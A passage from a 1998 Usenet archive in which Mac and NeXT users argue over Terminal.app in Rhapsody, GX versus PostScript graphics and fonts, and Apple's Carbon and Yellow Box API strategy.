Organization: EarthLink Network, Inc.
Message-ID: <macghod-1306980842490001@206.133.187.47>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com> <6lslp0$8fa$2@ironhorse.plsys.co.uk> <joe.ragosta-1306980705520001@elk66.dol.net>
In article <joe.ragosta-1306980705520001@elk66.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6lslp0$8fa$2@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > Yup, all sensible stuff. And since I'm in a really uptight mood at the
> > moment I'm going to lash out on this one...
> >
> > The trouble is the average Mac user who posts to public forums about this
> > subject seems so selfish about their fear of even possibly catching
sight of
> > the Terminal.app icon that they're willing to make such a brou-ha-ha
about it
> > that Unix may be completely invisible and unnecessarily hard to get at.
>
> I don't quite follow.
>
> Why can't it be set up so that you can do everything a beginning/average
> Mac user needs without ever touching the command line, but still having
> Terminal.app accessible in the Apple menu? It seems to me that this would
> elegantly meet the needs of both groups.
From reading the rhapsody lists, I take it that people like Malcolm have
no problem with this. They are afraid that Apple will be SOOOOOOOOOOOOOO
terrified of terminal.app that they wont even include it. I think it has
also been mentioned that Apple may leave this to third parties, meaning
their would be a equivalent to terminal.app ONLY IF a third party decided
to write it.
--
Posted on a g3 233 desktop running os 8.1.
Cant wait till I can ditch crash-happy 8.1 for rhapsody, (sigh)
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: 13 Jun 1998 16:40:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o5arm.837.sal@panix3.panix.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com> <6lslp0$8fa$2@ironhorse.plsys.co.uk> <joe.ragosta-1306980705520001@elk66.dol.net>
On Sat, 13 Jun 1998 07:05:51 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>Why can't it be set up so that you can do everything a beginning/average
>Mac user needs without ever touching the command line, but still having
>Terminal.app accessible in the Apple menu?
It can. NeXTStep showed the Unix community that Unix could be run without
having to use a CLI.
There is nothing all that magical about Terminal.App. If Apple doesn't include
it (at least as an optional install) there will be dozens of 3rd party versions
for download within a few weeks. Anyone with some know-how could download vt100
term emulation software off the net and write a GUI for it.
Apple *should* include Terminal.App; but, if they don't there will be other
options.
--
sal@panix.com
Salvatore Denaro
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Font formats (was OS strategy)
Message-ID: <nagleEuI1un.40t@netcom.com>
Organization: Netcom On-Line Services
References: <tbrown-1206980253330001@mv128.axom.com> <B1A69F6D-3D38C@206.165.43.126> <jdoherty-1306980112230001@aus-tx22-02.ix.netcom.com>
Date: Sat, 13 Jun 1998 16:59:11 GMT
Sender: nagle@netcom6.netcom.com
jdoherty@ix.netcom.com (John Doherty) writes:
>In article <B1A69F6D-3D38C@206.165.43.126>, "Lawson English"
><english@primenet.com> wrote:
>| And the current implementation in MacOS 8, which is backwards compatible
>| with System 7.x, doesn't prevent any application from printing, and you
>| only need muck with PS fonts if you want to use them (in which case, you'll
>| need to buy ATM Delux and install Acrobat AFTER GXInit).
>Think about this from the perspective of a professional typesetter for
>just a minute:
>- T1 fonts have been a core part of making a living since 1985
A few years back, I saw a utility for sale that would convert
TT fonts to Adobe T1 fonts and back. Whatever happened to that?
John Nagle
From: david614@boo.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: Sat, 13 Jun 1998 17:14:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6luc1b$m72$1@nnrp1.dejanews.com>
References: <SKbg1.34250$BE5.5654592@news.rdc1.nj.home.com> <1998061220000200.QAA28284@ladder01.news.aol.com>
In article <1998061220000200.QAA28284@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
>
> Even if a CD-ROM could be mounted in a NeXT CD-ROM case, why bother? It's not
> like the case wins any awards for beauty or style.
>
Just lurking here, but wondered if you had any particular cd-rom drives in
mind with this statement.
David M.
P.S. What is "Sphinx of black quartz, judge my vow"?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New Popular Science
Message-ID: <1998061318580200.OAA21691@ladder03.news.aol.com>
Date: 13 Jun 1998 18:58:02 GMT
Organization: AOL http://www.aol.com
References: <6luc1b$m72$1@nnrp1.dejanews.com>
The original NeXT CD-ROM was an almost featureless oblong. No fins, no styling,
no bright, colorful 3D NeXT logo. It was widely criticized for its aesthetic or
lack thereof. I've got one, and have discovered that I'm enough of an anal
completist to want to keep it (have everything but a NeXT Dimension board and
monitor and a slab and sound box) but probably wouldn't repeat the purchase.
I believe that PLI had nicer looking cases, but not sure if the mounted CD-ROM
was black.
I've heard that Sony made some nice looking black CD-ROMs and even wasted an
afternoon trying to run one down in Richmond. Some of the portable units are
pretty good looking though, for example IBM's and Panasonic's.
Sphinx of black quartz, judge my vow is an abcedarium, a sentence which
contains all 26 letters of the alphabet, like "The quick brown fox jumps over
the lazy dog." They're also called pangrams or pantagrams.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 13 Jun 1998 16:12:30 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu>
In article <rmcassid-1006981118370001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
> I wish they would make it more clear what development is going to what
> community.
the fact that some of Carbon may implemented through YB and some under
(although I doubt much of the former) does not blur who the development is
for. All Carbon development is strictly for ToolBox users. The only
exception is QDe.
> > But they can't because Apple cannot force some of it's key developers
> >to use it's favorite technology. At least it is Job's and Tevanian's
> >favorite.
>
> But they should create incentives for those key developers to move to it's
> favorite technology. If not, they will have two APIs forever.
Do you want incentives? Do you want Apple to babystep all the reasons
for using a particular API over another? Do you only say this because you
want pure YB with no Carbon? Your motives are suspect here.
Why do you fear them having two API's forever? It is clear that YB is
a direction that Apple is not giving up on. Jobs and Tevanian would have
to die before YB would. It is going to be supported on Intel. It is
necessary for easy implementation of Web Objects across platforms (which
is second only to MacOS in revenue for Apple).
We already have many more than two API's, they just aren't all supplied
by Apple. We already have two from Apple, MacApp and ToolBox. No, these
are not mutually exclusive. However, you can program in PowerPlant with
little ToolBox knowledge. And what about MacZoop, TCL, etc? Why do you
fear two API's so much?
Apple will support each only has long as they have to. There is no
clear winner right now as they NEED both for the near term.
> So unless Apple decides to support MacOS X on DR1 capable hardware, or to
> provide some Carbon+MacOS X services backward support to Rhaposdy, then a
> lot of my Apple hardware dead-ends with Rhapsody. I don't even know if
> I'll get upgrades to YB since 1.0 is the end of the line. Many, many
> unanswered questions...
Is MacOS X compelling or not? 2 year old hardware has not been claimed
to be officially supported in OSX (when it is released). Well, maybe OSX
won't take of right away. Maybe they'll say the 8500 version will come 3
months later. I don't care about either. Carbon isn't a big port and
will give me better tools to make my software. YB will be supported on
multiple platforms. Where do I lose here?
With the old plan Rhapsody would have worked on everything but it would
have been shunned by MS and Adobe. With the new plan Apple moves THEIR OS
forward on their hardware and we get software from the "big guns" to make
it "legit". Otherwise, you end up with OS/2 on more platforms.
There may be unanswered questions but you either go with the answers
you got or live in limbo forever. Either say X is a bad plan AS IT STANDS
or stop whining. I can imagine better plans. I cannot imagine one that
could be implemented fast enough.
And, time is a factor. Apple has reverted to underpromising. They
have under promised in every speech from Jobs so far (except maybe in G3
performance :). Carbon has to ship in a reasonable time frame. If you
were Apple what would you do for an encore on release? Doubling the
installed base sounds like a good X.1 plan.
But, even if that doesn't happen the Tsunami board will have been dead
for Apple for 2 years. What seems like the end of the world now won't be
near as big a deal then. We have to dead end the hardware somewhere. If
they could release OS X today and it did all that was promised but
required a brand new, as yet unrealeased machine (simul release) I would
be happier than even waiting one more year for it. The OS8 installed base
isn't all of a sudden going to buy Wintels if that happens. The owners of
the new machines wouldn't be able to tell X from OS8 until they actually
received a Carbon app. And then, if the experience is compelling they'll
buy more. And Apple has made the opportunity for app developers to jump
on this much better than with a YB only environment.
>> How will OS X adoption be slower than Rhapsody?
> It won't, but that also doesn't mean that MacOS X adoption is guaranteed.
Then what is your problem? Why are you raising all these questions
about Carbon?
> I'm not sure what Apple is offering developers for going to MacOS X? A new
> place to run their apps. Fine. But as Apple offers up APIs, will we only
> have half of the apps out there able to take advantage of them depending
> on whether they are Carbon or YB?
Maybe you don't understand Carbon and YB (which you concede I guess).
The extra services in Carbon would be worth an upgrade of OS 8 that would
be yawned at if it weren't for the core functionality of X. That will be
provided with Carbon or YB. Most of the Carbon updates are interface. YB
will have a Mac interface so it will should call Carbon services as needed
to maintain that. Remember, YB runs on PCs and has a Windows interface
there. YB is a higher level API and will more than likely eventually be
ported over Cabon just as it is on Windows. To worry about a Carbon API
not accessable to YB is useless because YB is abstracted to a great deal,
that is part of its appeal. Carbon makes getting on a new foundation
easier if you already have a lot of Mac code. YB extends the user base
and credibility of NeXT developers. You are looking for something that
isn't there.
> additional APIs to make their lives easier and to help get sales. I'm not
> sure to what extent Apple will be able to deliver on that.
If you are missing a particular API ask for it.
> > But, it should be very interesting to Windows and Mac programmers who
> >want to do true OO programming in a popular language. Don't get Java the
> >project, promise, complete API come time in the future, confused with Java
> >the language in this case.
>
> I'm not. How many people are interested in Java the language as opposed to
> Java the enironment? I *thought* the interest was in the latter, not the
> former. Am I wrong?
We are interested in both. I would love to be able to do real object
programming. However, I cannot find ObjC programmers and Java is too
immature as an environment. YB with Java as the language is very
appealing (and the Java environment would be there too).
> Half of the time developers sell upgrades not based on what *they*
> improve, but what they add support for that the OS vendor improves. So
> Apple needs to deliver something to the OS vendor that they can sell to
> customers. Carbon itself is indeed such a thing. What then? I'd spend a
> lot of money for EOF hooks for Filemaker. I don't think that will happen
> given the current Carbon/YB division. And if the consumer level APIs like
> Nav Services are for Carbon apps only, then the incentive to create YB
> versions starts to go away.
A simple question. look at Apple's plan for YB. Everything sits on an
advanced look and feel. Nav services is definitely part of this. What
makes you think for a minute that YB won't use Nav Services? There won't
be a choice! YB has to be abstracted on top of the look and feel, they
have stated this repeatedly. In many ways Carbon is a new implementation
of this look and feel. How do you imagine a YB app will call for open and
save dialogs in OS X. Apple has already stated that there will be only
ONE way to do it.
When YB is on Windows it calls for them through Windows methods. This
is the same thing. The only difference is that YB will be optimized for X
so stuff will work better and it will take advantage for more features.
Furthermore, not everything will be abstracted as it is already designed
to run direct to the kernal. Don't think that YB and Carbon will present
different interfaces to the user though. That will only happen on pre X
OS versions when switching between Carbon and old ToolBox apps.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: 13 Jun 1998 19:49:18 GMT
Organization: University of California at San Diego
Message-ID: <slrn6o5ltt.tji.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com> <6lslp0$8fa$2@ironhorse.plsys.co.uk> <joe.ragosta-1306980705520001@elk66.dol.net>
On Sat, 13 Jun 1998 07:05:51 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
:
:Why can't it be set up so that you can do everything a beginning/average
:Mac user needs without ever touching the command line, but still having
:Terminal.app accessible in the Apple menu? It seems to me that this would
:elegantly meet the needs of both groups.
It does. Steve Jobs and NeXT came to this realization twelve years ago.
They've been waiting for the market to reward them ever since.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 10:57:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A80B74-46BBE@206.165.43.23>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Doherty <jdoherty@ix.netcom.com> said:
>In article <B1A69C00-30576@206.165.43.126>, "Lawson English"
><english@primenet.com> wrote:
>
>| Salvatore Denaro <sal@panix3.panix.com> said:
>|
>| >On 11 Jun 1998 11:03:01 -0700, Lawson English <english@primenet.com>
>| >wrote:
>| >>So how does one handle the "Klingon Font Problem?"*
>| >
>| >Clearly this is your chance to save GX. Contact any of the many Klingon
>|
>| OK, how does it handle the "Cherokee Nation Font" problem?
>
>Who cares? Apple needs to sell computers to people who get paid to use
>them. The number of people who get paid to set type in Cherokee is
>vanishingly small, and obviously, the number of people who get paid
>to set type in Klingon is even smaller.
>
>There's no good business model based on selling computers to people
>who play with them.
>
WHAT? The largest-growing segment of the computer industry is the home
market, where the availability of games is all-important. Mind you, this
has very little to do with GX unless you're talking about QT vectors, but
your statement about playing with computers is totally wrong.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 11:03:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A80CB0-4B5EE@206.165.43.23>
References: <6lu569$ndd$1@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B1A7353C-7074@206.165.43.122> "Lawson English" wrote:
>> Excuse me? If something is truely output to PDF or EPS, then it
satisfies
>> my expanded set of criteria since PDF and EPS are platform-independent
>and
>> resolution-independent. Your solution doesn't do that. Doesn't even come
>> close, does it?
>>
>In what way does it not?
An overlapping set of shapes taht are transparent need to be converted into
a set non-overlapping, opaque shapes of equivalent colors if you want
resolution-independence. Does your solution do this for any arbitrary set
of shapes? If it does, then it is using the same strategy that GX uses,
which is to determine the overlap and create a new set of non-overlapping
shapes based on the intersections of the overlapping shapes. This requires
operators that aren't available in DPS and weren't made available for until
Rhapsody's geometric operators came into being. If they now exist, it is
because they were recently added in.
Drawing to bitmaps doesn't provide resolution-independence.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 10:58:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A80BA0-4760F@206.165.43.23>
References: <jdoherty-1306980136470001@aus-tx22-02.ix.netcom.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Doherty <jdoherty@ix.netcom.com> said:
>In article <B1A6C85C-573CB@206.165.43.8>, "Lawson English"
><english@primenet.com> wrote:
>
>| The GX pen plotter driver supports the concept of approximating
>transparent
>| color.
>
>And how many people who get paid to use plotters give a shit about that?
Those that try to print images that contain transparent overlapping shapes?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 10:55:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A80B05-45183@206.165.43.23>
References: <jdoherty-1306980119520001@aus-tx22-02.ix.netcom.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Doherty <jdoherty@ix.netcom.com> said:
>In article <ldo-1106981818050001@a7.hn3.wave.co.nz>,
>ldo@geek-central.gen.new_zealand (Lawrence D?Oliveiro) wrote:
>
>| The PostScript graphics model was... designed for... making marks on
>| paper, and that is the only application area in which it has had any
>| success.
>
>Which means that it has had success in one more application than GX has
>or ever will.
>
GX (or parts thereof) is installed on far, FAR more computers than DPS/PS
ever has been or ever will be. The GX graphics portion of GX (sans bitmaps,
currently, I believe) is the basis of QuickTime Vector Graphics and is
available on WIndows, MacOS, Rahpsody, and probably on SGI and Solaris
machines also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 13 Jun 1998 10:27:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A8043E-2B9E6@206.165.43.23>
References: <nagleEuI1un.40t@netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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John Nagle <nagle@netcom.com> said:
>jdoherty@ix.netcom.com (John Doherty) writes:
>
>>In article <B1A69F6D-3D38C@206.165.43.126>, "Lawson English"
>><english@primenet.com> wrote:
>
>>| And the current implementation in MacOS 8, which is backwards
>compatible
>>| with System 7.x, doesn't prevent any application from printing, and you
>>| only need muck with PS fonts if you want to use them (in which case,
>you'll
>>| need to buy ATM Delux and install Acrobat AFTER GXInit).
>
>>Think about this from the perspective of a professional typesetter for
>>just a minute:
>
>>- T1 fonts have been a core part of making a living since 1985
>
> A few years back, I saw a utility for sale that would convert
>TT fonts to Adobe T1 fonts and back. Whatever happened to that?
I think that the original author didn't understand what was meant by my
observation about T1 fonts. ATM [Delux] provides a T1 font-rasterizer that
works properly with GX. However, T1 fonts lack some of GX's font tables
needed for GX to know what to do with T1 fonts. When ATM [delux] is
installed on a system with GX installed, I believe that it adds those
tables to the T1 fonts. That's the ONLY difference between T1 fonts and
GXified T1 fonts that I know of, but a non-GX version of ATM won't
recognize the GXified fonts, even though there's been no real change in
format from ATM's perspective. I believe that the new version merely
creates copies of the T1 fonts for use in GX, rather than replaces them.
In other words, if you install the GXInit, your T1-using applications never
know the difference. However, in order to use T1 fonts from WITHIN GXInit,
you must have ATM Delux installed. Your T1-using applications STILL don't
know the difference. ATM Delux merely provides a rasterizer for GX's use
[and makes copies with the GX tables installed -I think].
ATSUI is going to do it a bit differently. I believe that ATM goes away [at
least for use with GX, er ATSUI] and Apple supplies a T1 rasterizer for GX
typography, er, ATSUI.
The only conversion from T1 to T1-GX is to add the GX-font tables, AFAIK,
so this shouldn't scare anyone anyway. In fact, in order to avoid scaring
anyone, they've renamed GX fonts to something like ATT fonts. I've been
told, by the guy who invented them and still works for Apple, that they are
100% identical with GX fonts, but with a name-change.
If you have an old GX app (such as GXFCN), it will have no problems
whatsoever with reading ATT fonts since the only difference is a
name-change.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 13 Jun 1998 18:38:36 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1306981838360001@jchristie.halifaxcable.dal.ca>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com> <1daegfa.18qeutlxu6qcjN@sextans144.wco.com> <35801DB9.FB7C21E6@sys.uea.ac.uk>
In article <35801DB9.FB7C21E6@sys.uea.ac.uk>, Ralph Elliott
<re@sys.uea.ac.uk> wrote:
> as a suite of MacOS services. But it is clearly in some sense a "Core
Service",
> for which it is not unreasonable to expect support in all three APIs.
Java and
> Yellow are effectively 2nd class citizens unless and until Navigation Services
> support is guaranteed for them.
This is a non issue for OS X. Exactly what other way of providing
Navigation like services do you imagine there will be? Apple has CLEARLY
stated that the advanced look and feel will be available to all apps,
regardless of the API for development, within OS X. Every core piece of
Carbon that is an upgrade of this kind MUST be available through YB. And,
why shouldn't it? YB already works through multiple interfaces, as does
Java.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] NeXT, OpenStep, NeXTStep
Message-ID: <1998061323043100.TAA21239@ladder01.news.aol.com>
Date: 13 Jun 1998 23:04:31 GMT
Organization: AOL http://www.aol.com
So, my question is the exact relationship between NeXT, OpenStep, and
NeXTStep (and their correct capitalizations). The dates each came into
existence, how they differed, that kind of thing. Preferably with references
(URLs, books, articles, etc.).
This information will be placed on a web site comparing and
contrasting operating systems:
<http://msem26.eng.ohio-state.edu/os/index.htm>.
Thanks.
---Milo (MerefBast@aol.com)
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] NeXT release dates
Message-ID: <1998061323052800.TAA21316@ladder01.news.aol.com>
Date: 13 Jun 1998 23:05:28 GMT
Organization: AOL http://www.aol.com
I am looking for release dates for NeXT, OpenStep, and NeXTStep,
preferably for each version, but especiallly for the initial release
of NeXT. URLs, books, articles, or other references would be
appreciated, but the raw facts are fine.
This information will be placed on a web site comparing and
contrasting operating systems:
<http://msem26.eng.ohio-state.edu/os/index.htm>.
Thanks.
---Milo (MerefBast@aol.com)
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 13 Jun 1998 23:37:28 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lv2fo$jjf$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> Why do you fear them having two API's forever? It is clear that YB is
> a direction that Apple is not giving up on. Jobs and Tevanian would have
> to die before YB would. It is going to be supported on Intel. It is
> necessary for easy implementation of Web Objects across platforms (which
> is second only to MacOS in revenue for Apple
Why do you think that Apple is not going to give up on YB? Because you
believe the obviously false premise that "Jobs and Tevanian would have to die
before YB would?" I think that it would be foolish for Apple to abandon YB
but Apple has been known to abandon good technology.
BTW, your claim regarding Web Objects revenue is obviously false. Apple has
the highest revenue from hardware not software sales. Also, are you sure that
Apple does get more revenue from application software such as AppleWorks?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 13 Jun 1998 21:59:17 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca> <6lv2fo$jjf$1@nnrp1.dejanews.com>
In article <6lv2fo$jjf$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca>,
> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
>
> > Why do you fear them having two API's forever? It is clear that YB is
> > a direction that Apple is not giving up on. Jobs and Tevanian would have
> > to die before YB would. It is going to be supported on Intel. It is
> > necessary for easy implementation of Web Objects across platforms (which
> > is second only to MacOS in revenue for Apple
>
> Why do you think that Apple is not going to give up on YB? Because you
> believe the obviously false premise that "Jobs and Tevanian would have to die
> before YB would?" I think that it would be foolish for Apple to abandon YB
> but Apple has been known to abandon good technology.
Apple has been known to abandon good technology. Jobs has not been
known to abandond his pet projects. Unless there is a terribly dire need
to get rid of them Jobs will hold onto his pet project no matter what. YB
is a pet project of his and he has previously stated that he thinks it is
great technology. Therefore, wherever you find Jobs you will probably
find this technology. You have to look at the people making the decisions
as well as the company.
Apple dropped the Newton because Jobs was passionate about it. They
will not drop YB for the same reason.
> BTW, your claim regarding Web Objects revenue is obviously false. Apple has
> the highest revenue from hardware not software sales. Also, are you sure that
> Apple does get more revenue from application software such as AppleWorks?
Sorry, I hoped that people would understand I was talking software but
I should have been explicit. The information was from an Apple press
release. WebObjects is Apple's second highest software revenue stream.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: Look@the.signature (John Wiltshire)
